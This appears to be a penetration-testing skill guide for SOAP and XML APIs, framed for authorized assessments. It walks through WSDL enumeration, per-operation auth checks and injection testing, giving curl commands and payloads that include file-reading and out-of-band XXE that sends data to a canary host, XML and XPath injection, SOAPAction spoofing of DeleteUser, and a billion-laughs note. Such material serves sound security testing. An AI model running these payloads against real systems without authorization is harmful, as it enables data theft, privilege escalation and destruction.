SOAP services look old-fashioned and are therefore under-tested, which is exactly why they still carry classic flaws: XXE in the XML parser, unauthenticated operations hidden in a long WSDL, and SOAP actions that the gateway never inspected. This skill covers testing SOAP and XML APIs on systems you are authorized to assess, from WSDL enumeration through XXE and injection proof.
Quick Workflow
- Find the WSDL: try the service URL with ?wsdl, and check for WSDL and XSD files in directory listings and documentation.
- Parse the WSDL: list every operation, its SOAP action, its parameters, and whether it requires authentication.
- Send a baseline request for one read operation and one write operation, and record the envelope shape and error style.
- Test authentication per operation: no token, low privilege token, and a SOAP action that does not match the body.
- Test XXE: external entity, parameter entity, and blind out-of-band variants, with a parser behaviour note for each.
- Test XML injection and XPath injection in string parameters.
- Test SOAP action abuse: mismatched action headers, empty actions, and actions for operations the caller should not reach.
- Report per operation, with the envelope and the response that proves each finding.
1. WSDL analysis
# Fetch and inventory the WSDL (authorized target only)
curl -s "https://target.example/service.asmx?wsdl" -o /tmp/service.wsdl
grep -o 'operation name="[^"]*"' /tmp/service.wsdl | sort -u
grep -o 'soapAction="[^"]*"' /tmp/service.wsdl | sort -u
echo "operations with no auth note in the WSDL go first in testing;"
echo "the WSDL documents intent, the live service documents truth"
#!/usr/bin/env python3
"""WSDL operation inventory: operation, soapAction, and inputs.
Prints a test checklist. Anything marked as admin, delete, or
internal that lacks an auth requirement in the WSDL is priority.
"""
import re
wsdl = open("/tmp/service.wsdl", encoding="utf-8", errors="ignore").read()
ops = re.findall(r'<wsdl:operation name="([^"]+)"', wsdl)
actions = re.findall(r'soapAction="([^"]*)"', wsdl)
for op, action in zip(ops, actions):
flag = "REVIEW" if any(w in op.lower()
for w in ("admin", "delete", "update", "internal")) else "test"
print(f"[{flag}] {op} action={action or '(none)'}")
print(f"total operations: {len(ops)}")
2. Baseline SOAP request and auth per operation
# Baseline envelope: one read operation, well formed, valid token
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/GetUser"' \
-d '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetUser xmlns="http://target.example/">
<userId>1</userId>
</GetUser></soap:Body>
</soap:Envelope>'
echo "record the fault format: verbose faults leak stack and type info"
# Auth per operation: same envelope, no token, then a low privilege
# token, for a sensitive operation such as DeleteUser
for auth in "" "Authorization: Bearer low-privilege-token"; do
echo "== auth header: [$auth]"
if [ -z "$auth" ]; then
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/DeleteUser"' \
-d '<?xml version="1.0"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><DeleteUser xmlns="http://target.example/">
<userId>2</userId></DeleteUser></soap:Body></soap:Envelope>'
else
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H "$auth" \
-H 'SOAPAction: "http://target.example/DeleteUser"' \
-d '<?xml version="1.0"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><DeleteUser xmlns="http://target.example/">
<userId>2</userId></DeleteUser></soap:Body></soap:Envelope>'
fi
echo
done
3. XXE testing
# Classic XXE: external entity in a string parameter. Use a canary
# file on your own test server for blind cases, never real secrets.
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/GetUser"' \
-d '<?xml version="1.0"?>
<!DOCTYPE GetUser [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetUser xmlns="http://target.example/">
<userId>&xxe;</userId>
</GetUser></soap:Body>
</soap:Envelope>'
echo "hostname reflected, parser error naming the entity, or a"
echo "delay on an out-of-band URL each prove a different XXE flavour"
#!/usr/bin/env python3
"""Blind XXE check: parameter entity that phones home to a canary.
Point the URL at a collaborator or canary host you control. A hit
on that host proves the parser resolved the external entity even
when nothing is reflected in the SOAP response.
"""
payload = """<?xml version="1.0"?>
<!DOCTYPE GetUser [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'https://canary.example/?x=%file;'>">
%eval;
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetUser xmlns="http://target.example/">
<userId>&exfil;</userId>
</GetUser></soap:Body>
</soap:Envelope>"""
print(payload)
print("check the canary host for a hit before calling this negative")
4. XML and XPath injection plus SOAP action abuse
# XML injection: break out of a string parameter into the envelope
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/SearchUsers"' \
-d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><SearchUsers xmlns="http://target.example/">
<query></query><isAdmin>true</isAdmin><query></query>
</SearchUsers></soap:Body>
</soap:Envelope>'
echo "an injected element that the service acts on is a parser"
echo "trust flaw, report the exact injected element and its effect"
# XPath injection: classic always-true predicate in a lookup field
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/GetUser"' \
-d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetUser xmlns="http://target.example/">
<userId>1 or 1=1</userId>
</GetUser></soap:Body>
</soap:Envelope>'
echo "a response with more than the requested user, or a different"
echo "user, proves the XPath query took attacker input verbatim"
# SOAP action abuse: body says GetUser, header says DeleteUser
curl -s "https://target.example/service.asmx" \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "http://target.example/DeleteUser"' \
-d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><GetUser xmlns="http://target.example/">
<userId>2</userId>
</GetUser></soap:Body>
</soap:Envelope>'
echo "if the header wins over the body, routing and auth checks"
echo "that key on the body operation are bypassable, test both ways"
Edge cases
- The WSDL is not exposed. Then build envelopes from traffic captured in Burp Suite, or from client code you are authorized to review; never assume the operation list is complete.
- The parser rejects DOCTYPE entirely. That is the secure default; confirm it with the XXE payloads above and record the rejection as a positive control, not as an untested area.
- Billion laughs or quadratic blowup payloads can denial-of-service a vulnerable parser. Send size-limited variants first, and only on targets where a brief outage is acceptable to the owner.
- SOAP faults are verbose in development and terse in production. Test both environments where authorized; findings often differ.
- WS-Security headers add signing and encryption. A finding about missing transport auth is weaker when message-level signing is present, so check both layers before rating severity.
Key references
- OWASP guidance on XML External Entity prevention and on testing for SOAP and web services.
- W3C SOAP specification and the service WSDL itself as the operation inventory.
- Related skills: api-security-testing, api-gateway-security, openapi-security-review.
